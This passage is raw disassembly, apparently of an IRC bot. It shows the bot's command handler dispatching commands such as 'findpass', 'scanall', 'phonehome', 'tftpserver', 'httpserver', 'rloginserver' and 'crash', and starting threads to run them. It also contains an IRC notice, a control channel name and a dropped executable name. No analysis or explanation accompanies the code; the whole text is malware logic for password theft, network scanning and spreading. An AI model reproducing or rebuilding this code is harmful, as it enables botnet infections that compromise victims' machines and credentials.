push offset aFlusharp ; "flusharp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4049BF
push edi
push offset aFarp ; "farp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4049BF
push edi
push offset aFlushdns ; "flushdns"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404981
push edi
push offset aFdns ; "fdns"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404981
push edi
push offset aCurrentip ; "currentip"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40494B
push edi
push offset aCip ; "cip"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40494B
push edi
push offset aRloginserver ; "rloginserver"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404809
push edi
push offset aRlogin ; "rlogin"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404809
push edi
push offset aHttpserver ; "httpserver"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40469D
push edi
push offset aHttp ; "http"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40469D
push edi
push offset aTftpserver ; "tftpserver"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404575
push edi
push offset aTftp ; "tftp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404575
push edi
push offset aCrash ; "crash"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_40414A
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42F354
push eax
call sub_41E6A6
cmp [ebp+4Ch+var_C], ebx
pop ecx
pop ecx
jnz short loc_404129
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_404129: ; CODE XREF: sub_40274D+19C1j
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
mov [esp+10h+var_5C], offset aCrash ; "crash"
push [ebp+esi+4Ch+var_90]
call sub_41E990
jmp loc_40A216
; ---------------------------------------------------------------------------
loc_40414A: ; CODE XREF: sub_40274D+19A9j
push edi
push offset aScanall ; "scanall"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404279
push edi
push offset aSa ; "sa"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404279
push edi
push offset aPhonehome ; "phonehome"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4041A1
lea eax, [ebp+4Ch+var_D0]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
loc_404199: ; CODE XREF: sub_40274D+418j
add esp, 0Ch
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_4041A1: ; CODE XREF: sub_40274D+1A36j
push edi
push offset aFindpass ; "findpass"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_4041C7
push edi
push offset aFp ; "fp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_403F48
loc_4041C7: ; CODE XREF: sub_40274D+1A63j
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_F5C]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_F60], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_ED8], eax
mov eax, [ebp+4Ch+var_C]
push offset unk_42F2E4
mov [ebp+4Ch+var_ED4], eax
lea eax, [ebp+4Ch+var_2D0]
push 200h
push eax
call sub_41E6FE
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 26h
push eax
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_EDC], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_F60]
push eax
push offset byte_419FFD
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_EDC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_40426C
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42F2A8
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_404264: ; CODE XREF: sub_40274D+1B25j
push 32h
call ds:dword_42B014 ; Sleep
loc_40426C: ; CODE XREF: sub_40274D+1B04j
cmp [ebp+4Ch+var_ED0], ebx
jz short loc_404264
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_404279: ; CODE XREF: sub_40274D+1A0Cj
; sub_40274D+1A21j
mov al, ds:byte_43DF62
cmp al, bl
mov [ebp+4Ch+var_14], ebx
mov edx, offset byte_43DF62
jz loc_402B92
mov ecx, edx
loc_404290: ; CODE XREF: sub_40274D+1B4Bj
inc [ebp+4Ch+var_14]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_404290
cmp al, bl
jz loc_402B92
mov [ebp+4Ch+var_20], edx
mov esi, offset aImortal2_0 ; "#imortal2"
loc_4042AA: ; CODE XREF: sub_40274D+1E01j
push 0Bh
call sub_40B075
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+4Ch+var_14]
add eax, ecx
cmp eax, 1F4h
jle short loc_4042F6
push ecx
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42F268
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 20h
jmp loc_404545
; ---------------------------------------------------------------------------
loc_4042F6: ; CODE XREF: sub_40274D+1B77j
or [ebp+4Ch+var_738], 0FFFFFFFFh
cmp ds:dword_43D880, ebx
mov [ebp+4Ch+var_73C], 64h
mov [ebp+4Ch+var_750], 5
mov [ebp+4Ch+var_74C], 320h
mov [ebp+4Ch+var_14], ebx
jz short loc_404367
mov edi, offset dword_43D880
loc_40432B: ; CODE XREF: sub_40274D+1BFCj
mov eax, [ebp+4Ch+var_20]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_40434D
inc [ebp+4Ch+var_14]
add edi, 40h
cmp [edi], ebx
jnz short loc_40432B
jmp short loc_404367
; ---------------------------------------------------------------------------
loc_40434D: ; CODE XREF: sub_40274D+1BF2j
mov eax, [ebp+4Ch+var_14]
mov ecx, eax
shl ecx, 6
mov ecx, ds:dword_43D880[ecx]
mov [ebp+4Ch+var_754], ecx
mov [ebp+4Ch+var_738], eax
loc_404367: ; CODE XREF: sub_40274D+1BD7j
; sub_40274D+1BFEj
cmp [ebp+4Ch+var_754], ebx
jz loc_40456B
push 10h
pop edi
lea eax, [ebp+4Ch+var_2E0]
push eax
lea eax, [ebp+4Ch+var_314]
push eax
push [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_2E0], edi
call ds:dword_444068 ; getsockname
mov al, [ebp+4Ch+var_907]
neg al
push edi
sbb eax, eax
and eax, 0FFFF0100h
add eax, 0FFFFh
and [ebp+4Ch+var_310], eax
push [ebp+4Ch+var_310]
call ds:dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+4Ch+var_868]
push eax
call sub_41E860
xor eax, eax
cmp [ebp+4Ch+var_907], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+4Ch+var_868]
push eax
call sub_41EE50
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+4Ch+arg_0+3], bl
jle short loc_404410
loc_4043EE: ; CODE XREF: sub_40274D+1CC1j
cmp eax, ebx
jz short loc_404410
mov byte ptr [eax], 78h
lea eax, [ebp+4Ch+var_868]
push 30h
push eax
call sub_41EE50
inc byte ptr [ebp+4Ch+arg_0+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+4Ch+arg_0+3]
cmp ecx, edi
jl short loc_4043EE
loc_404410: ; CODE XREF: sub_40274D+1C9Fj
; sub_40274D+1CA3j
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_758], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_730], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_72C], eax
mov edi, 80h
lea eax, [ebp+4Ch+var_858]
push edi
push eax
mov [ebp+4Ch+var_728], 1
call sub_41E6FE
push offset byte_42B633
push esi
call sub_41E990
add esp, 14h
test eax, eax
jz short loc_40446F
push esi
lea eax, [ebp+4Ch+var_7D8]
push edi
push eax
call sub_41E6FE
add esp, 0Ch
jmp short loc_404475
; ---------------------------------------------------------------------------
loc_40446F: ; CODE XREF: sub_40274D+1D0Dj
mov [ebp+4Ch+var_7D8], bl
loc_404475: ; CODE XREF: sub_40274D+1D20j
cmp [ebp+4Ch+var_728], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_404487
mov eax, offset aSequential ; "Sequential"
loc_404487: ; CODE XREF: sub_40274D+1D33j
push [ebp+4Ch+var_73C]
lea ecx, [ebp+4Ch+var_868]
push [ebp+4Ch+var_74C]
push [ebp+4Ch+var_750]
push [ebp+4Ch+var_754]
push ecx
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42F1E8
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 0Bh
push eax
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_748], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_868]
push eax
push offset word_40BEFE
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_748]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_404561
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42F1AC
push eax
call sub_41E6A6
add esp, 0Ch
loc_40451A: ; CODE XREF: sub_40274D+1E1Cj
cmp [ebp+4Ch+var_C], ebx
jnz short loc_404538
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_404538: ; CODE XREF: sub_40274D+1DD0j
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
pop ecx
loc_404545: ; CODE XREF: sub_40274D+1BA4j
add [ebp+4Ch+var_20], 0Bh
mov eax, [ebp+4Ch+var_20]
cmp [eax], bl
jnz loc_4042AA
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_404559: ; CODE XREF: sub_40274D+1E1Aj
push 32h
call ds:dword_42B014 ; Sleep
loc_404561: ; CODE XREF: sub_40274D+1DB0j
cmp [ebp+4Ch+var_724], ebx
jz short loc_404559
jmp short loc_40451A
; ---------------------------------------------------------------------------
loc_40456B: ; CODE XREF: sub_40274D+1C20j
push offset unk_42F174
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_404575: ; CODE XREF: sub_40274D+197Fj
; sub_40274D+1994j
push 5
call sub_40B075
test eax, eax
pop ecx
jle short loc_40458B
push offset unk_42F154
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_40458B: ; CODE XREF: sub_40274D+1E32j
mov eax, [ebp+esi+4Ch+var_A0]
cmp eax, ebx
mov edi, 104h
jz short loc_4045AB
push eax
lea eax, [ebp+4Ch+var_2D58]
push edi
push eax
call sub_41E6FE
add esp, 0Ch
jmp short loc_4045BA
; ---------------------------------------------------------------------------
loc_4045AB: ; CODE XREF: sub_40274D+1E49j
push edi
lea eax, [ebp+4Ch+var_2D58]
push eax
push ebx
call ds:dword_42B00C ; GetModuleFileNameA
loc_4045BA: ; CODE XREF: sub_40274D+1E5Cj
mov esi, [ebp+esi+4Ch+var_9C]
cmp esi, ebx
jnz short loc_4045C7
mov esi, offset aWindata_exe ; "windata.exe"
loc_4045C7: ; CODE XREF: sub_40274D+1E73j
push esi
lea eax, [ebp+4Ch+var_2C54]
push edi
push eax
call sub_41E6FE
mov eax, ds:dword_43C074
mov [ebp+4Ch+var_2B48], eax
mov eax, [ebp+4Ch+arg_4]
push 7Fh
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_2D5C], eax
lea eax, [ebp+4Ch+var_2B44]
push eax
mov [ebp+4Ch+var_2B4C], ebx
call sub_41E860
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_2AC4], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2AC0], eax
lea eax, [ebp+4Ch+var_2D58]
push eax
push [ebp+4Ch+var_2B48]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42F120
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 5
push eax
call sub_40AE85
add esp, 34h
mov [ebp+4Ch+var_2B50], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2D5C]
push eax
push offset aUnlMb ; "Ul$Γ|\b"
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2B50]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_404690
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42F0E4
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_404688: ; CODE XREF: sub_40274D+1F49j
push 32h
call ds:dword_42B014 ; Sleep
loc_404690: ; CODE XREF: sub_40274D+1F28j
cmp [ebp+4Ch+var_2ABC], ebx
jz short loc_404688
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_40469D: ; CODE XREF: sub_40274D+1955j
; sub_40274D+196Aj
mov edi, [ebp+esi+4Ch+var_A0]
cmp edi, ebx
jz short loc_4046B9
push edi
call sub_41E7AD
test eax, eax
pop ecx
jz short loc_4046B9
push edi
call sub_41E7AD
pop ecx
jmp short loc_4046BE
; ---------------------------------------------------------------------------
loc_4046B9: ; CODE XREF: sub_40274D+1F56j
; sub_40274D+1F61j
mov eax, ds:dword_43C078
loc_4046BE: ; CODE XREF: sub_40274D+1F6Aj
mov esi, [ebp+esi+4Ch+var_9C]
mov [ebp+4Ch+var_36D0], eax
xor eax, eax
cmp [ebp+4Ch+var_904], bl
setz al
cmp esi, ebx
mov [ebp+4Ch+var_36BC], eax
jz short loc_4046EE
lea eax, [ebp+4Ch+var_37D4]
push esi
push eax
call sub_41E6A6
pop ecx
pop ecx
jmp short loc_404719
; ---------------------------------------------------------------------------
loc_4046EE: ; CODE XREF: sub_40274D+1F8Ej
push 104h
lea eax, [ebp+4Ch+var_4FFC]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
push ebx
push ebx
push ebx
lea eax, [ebp+4Ch+var_4D0]
push eax
lea eax, [ebp+4Ch+var_4FFC]
push eax
call sub_41ED01
add esp, 14h
loc_404719: ; CODE XREF: sub_40274D+1F9Fj
lea eax, [ebp+4Ch+var_37D4]
push eax
call sub_41E1C0
cmp [ebp+eax+4Ch+var_37D5], 5Ch
pop ecx
jnz short loc_404744
lea eax, [ebp+4Ch+var_37D4]
push eax
call sub_41E1C0
pop ecx
mov [ebp+eax+4Ch+var_37D5], bl
loc_404744: ; CODE XREF: sub_40274D+1FE1j
push [ebp+4Ch+var_9C]
mov esi, [ebp+4Ch+arg_4]
lea eax, [ebp+4Ch+var_3A5C]
push 80h
push eax
mov [ebp+4Ch+var_3A60], esi
call sub_41E6FE
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 0Ch
mov [ebp+4Ch+var_36C0], eax
lea eax, [ebp+4Ch+var_37D4]
push eax
push [ebp+4Ch+var_36D0]
mov [ebp+4Ch+var_36C4], edi
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42F0A8
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 3
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_36C8], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3A60]
push eax
push offset byte_412DD9
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_36C8]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4047FC
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42F06C
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4047F4: ; CODE XREF: sub_40274D+20B5j
push 32h
call ds:dword_42B014 ; Sleep
loc_4047FC: ; CODE XREF: sub_40274D+2094j
cmp [ebp+4Ch+var_36B4], ebx
jz short loc_4047F4
jmp loc_404929
; ---------------------------------------------------------------------------
loc_404809: ; CODE XREF: sub_40274D+192Bj
; sub_40274D+1940j
mov edi, [ebp+esi+4Ch+var_A0]
cmp edi, ebx
jz short loc_404825
push edi
call sub_41E7AD
test eax, eax
pop ecx
jz short loc_404825
push edi
call sub_41E7AD
pop ecx
jmp short loc_40482A
; ---------------------------------------------------------------------------
loc_404825: ; CODE XREF: sub_40274D+20C2j
; sub_40274D+20CDj
mov eax, ds:dword_43C07C
loc_40482A: ; CODE XREF: sub_40274D+20D6j
mov [ebp+4Ch+var_182C], eax
mov eax, [ebp+esi+4Ch+var_9C]
cmp eax, ebx
jnz short loc_40483E
lea eax, [ebp+4Ch+var_D0]
loc_40483E: ; CODE XREF: sub_40274D+20E9j
push eax
lea eax, [ebp+4Ch+var_196C]
push 40h
push eax
call sub_41E6FE
mov esi, [ebp+esi+4Ch+var_98]
add esp, 0Ch
cmp esi, ebx
jnz short loc_40485D
mov esi, offset byte_42B633
loc_40485D: ; CODE XREF: sub_40274D+2109j
push esi
lea eax, [ebp+4Ch+var_192C]
push 100h
push eax
call sub_41E6FE
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_19EC]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+var_C]
mov esi, [ebp+4Ch+arg_4]
mov edi, [ebp+4Ch+var_4]
add esp, 18h
mov [ebp+4Ch+var_1818], eax
lea eax, [ebp+4Ch+var_196C]
push eax
push [ebp+4Ch+var_182C]
mov [ebp+4Ch+var_19F0], esi
push esi
mov [ebp+4Ch+var_181C], edi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42F030
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 9
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_1828], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_19F0]
push eax
push offset byte_413A51
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1828]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_404941
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42EFF4
loc_40491A: ; CODE XREF: sub_40274D+20A2j
; sub_40274D+4A78j ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 0Ch
loc_404929: ; CODE XREF: sub_40274D+20B7j
; sub_40274D+21FCj ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_408D10
push ebx
push edi
jmp loc_4089CD
; ---------------------------------------------------------------------------
loc_404939: ; CODE XREF: sub_40274D+21FAj
push 32h
call ds:dword_42B014 ; Sleep
loc_404941: ; CODE XREF: sub_40274D+21BFj
cmp [ebp+4Ch+var_1814], ebx
jz short loc_404939
jmp short loc_404929
; ---------------------------------------------------------------------------
loc_40494B: ; CODE XREF: sub_40274D+1901j
; sub_40274D+1916j
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
jz short loc_40495B
push esi
call sub_41E7AD
jmp short loc_404962
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_40274D+2204j
push 0Bh
call sub_40B094
loc_404962: ; CODE XREF: sub_40274D+220Cj
cmp eax, ebx
pop ecx
jz short loc_404979
push eax
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40B619
loc_404976: ; CODE XREF: sub_40274D+26CBj
add esp, 10h
loc_404979: ; CODE XREF: sub_40274D+5C8j
; sub_40274D+5D4j ...
mov eax, [ebp+4Ch+arg_24]
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404981: ; CODE XREF: sub_40274D+18D7j
; sub_40274D+18ECj
mov eax, ds:dword_4441F0
cmp eax, ebx
jz short loc_4049A4
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jz short loc_40499D
push offset unk_42EFD0
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_40499D: ; CODE XREF: sub_40274D+2247j
push offset unk_42EFA4
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_4049A4: ; CODE XREF: sub_40274D+223Bj
push offset unk_42EF78
lea eax, [ebp+4Ch+var_2D0]
loc_4049AF: ; CODE XREF: sub_40274D+224Ej
; sub_40274D+2255j ...
push 200h
push eax
call sub_41E6FE
jmp loc_4076E0
; ---------------------------------------------------------------------------
loc_4049BF: ; CODE XREF: sub_40274D+18ADj
; sub_40274D+18C2j
call sub_4022F5
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jz short loc_4049D5
push offset unk_42EF54
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_4049D5: ; CODE XREF: sub_40274D+227Fj
push offset unk_42EF28
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_4049DC: ; CODE XREF: sub_40274D+1883j
; sub_40274D+1898j
cmp [ebp+4Ch+var_C], ebx
jnz short loc_4049F8
push ebx
push [ebp+4Ch+var_4]
push offset dword_42EF10
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_4049F8: ; CODE XREF: sub_40274D+2292j
push ebx
push [ebp+4Ch+var_4]
call sub_41AD5A
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
push offset dword_42EEF4
loc_404A12: ; CODE XREF: sub_40274D+257Dj
; sub_40274D+25ACj
call sub_417D70
jmp loc_409FB6
; ---------------------------------------------------------------------------
loc_404A1C: ; CODE XREF: sub_40274D+1725j
; sub_40274D+173Aj
push 0Ah
call sub_40B075
test eax, eax
pop ecx
jle short loc_404A2F
push offset unk_42EEC8
jmp short loc_404A4D
; ---------------------------------------------------------------------------
loc_404A2F: ; CODE XREF: sub_40274D+22D9j
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_41C9D4
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
jnz short loc_404A48
push offset unk_42EEA0
jmp short loc_404A4D
; ---------------------------------------------------------------------------
loc_404A48: ; CODE XREF: sub_40274D+22F2j
push offset unk_42EE80
loc_404A4D: ; CODE XREF: sub_40274D+22E0j
; sub_40274D+22F9j ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_404A5B: ; CODE XREF: sub_40274D+5574j
; sub_40274D+6E4Dj
cmp [ebp+4Ch+var_C], ebx
jnz short loc_404A79
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
loc_404A71: ; CODE XREF: sub_40274D+6ADFj
call sub_40123B
add esp, 14h
loc_404A79: ; CODE XREF: sub_40274D+2311j
; sub_40274D+2508j ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
jmp loc_40A217
; ---------------------------------------------------------------------------
loc_404A8A: ; CODE XREF: sub_40274D+16FBj
; sub_40274D+1710j
push [ebp+4Ch+var_C]
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_401F92
jmp loc_404D0F
; ---------------------------------------------------------------------------
loc_404AA0: ; CODE XREF: sub_40274D+16D1j
; sub_40274D+16E6j
push [ebp+esi+4Ch+var_A0]
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_419725
jmp loc_404D0F
; ---------------------------------------------------------------------------
loc_404AB7: ; CODE XREF: sub_40274D+16A7j
; sub_40274D+16BCj
or edi, 0FFFFFFFFh
call ds:dword_42B038 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
mov [ebp+4Ch+arg_0], eax
jz short loc_404ADD
push esi
call sub_41E7AD
pop ecx
mov edi, eax
loc_404ADD: ; CODE XREF: sub_40274D+2385j
mov eax, [ebp+4Ch+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404AF6
cmp edi, 0FFFFFFFFh
jnz loc_404979
loc_404AF6: ; CODE XREF: sub_40274D+239Ej
push ebx
call sub_41D5F8
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42EE68
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
jmp loc_4083EA
; ---------------------------------------------------------------------------
loc_404B35: ; CODE XREF: sub_40274D+167Dj
; sub_40274D+1692j
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_4185EA
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42EE48
push eax
call sub_41E6A6
jmp loc_408BF5
; ---------------------------------------------------------------------------
loc_404B59: ; CODE XREF: sub_40274D+1653j
; sub_40274D+1668j
push 27h
call sub_40B075
test eax, eax
pop ecx
jle short loc_404B87
cmp [ebp+4Ch+var_C], ebx
jnz loc_402B92
push ebx
push [ebp+4Ch+var_4]
push offset unk_42EE28
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
jmp loc_4095B1
; ---------------------------------------------------------------------------
loc_404B87: ; CODE XREF: sub_40274D+2416j
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_BCC]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+arg_4]
mov esi, [ebp+esi+4Ch+var_A0]
mov [ebp+4Ch+var_BD0], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_B44], eax
mov eax, [ebp+4Ch+var_C]
add esp, 0Ch
cmp esi, ebx
mov [ebp+4Ch+var_B40], eax
mov [ebp+4Ch+var_B48], ebx
jz short loc_404BE2
push esi
push offset aFull ; "full"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_404BE2
mov [ebp+4Ch+var_B48], 1
loc_404BE2: ; CODE XREF: sub_40274D+2478j
; sub_40274D+2489j
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42EE04
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 27h
push eax
call sub_40AE85
add esp, 14h
mov [ebp+4Ch+var_B4C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_BD0]
push eax
push offset dword_41C66C
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_B4C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_404C62
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42EDC8
push eax
call sub_41E6A6
add esp, 0Ch
jmp loc_404A79
; ---------------------------------------------------------------------------
loc_404C5A: ; CODE XREF: sub_40274D+251Bj
push 32h
call ds:dword_42B014 ; Sleep
loc_404C62: ; CODE XREF: sub_40274D+24EBj
cmp [ebp+4Ch+var_B3C], ebx
jz short loc_404C5A
jmp loc_404A79
; ---------------------------------------------------------------------------
loc_404C6F: ; CODE XREF: sub_40274D+1629j
; sub_40274D+163Ej
cmp [ebp+4Ch+var_C], ebx
jnz short loc_404C8B
push ebx
push [ebp+4Ch+var_4]
push offset dword_42EDAC
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_404C8B: ; CODE XREF: sub_40274D+2525j
push [ebp+4Ch+arg_4]
call ds:dword_444218 ; closesocket
call ds:dword_444224 ; WSACleanup
call sub_41AEDD
jmp loc_405462
; ---------------------------------------------------------------------------
loc_404CA4: ; CODE XREF: sub_40274D+15FFj
; sub_40274D+1614j
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push [ebp+4Ch+arg_4]
push eax
call sub_41D779
pop ecx
pop ecx
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
push offset dword_42ED90
jmp loc_404A12
; ---------------------------------------------------------------------------
loc_404CCF: ; CODE XREF: sub_40274D+15D5j
; sub_40274D+15EAj
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push [ebp+4Ch+arg_4]
push [ebp+4Ch+arg_1C]
push eax
call sub_41D9E5
add esp, 0Ch
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
push offset dword_42ED74
jmp loc_404A12
; ---------------------------------------------------------------------------
loc_404CFE: ; CODE XREF: sub_40274D+15ABj
; sub_40274D+15C0j
push [ebp+4Ch+var_C]
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_417E10
loc_404D0F: ; CODE XREF: sub_40274D+372j
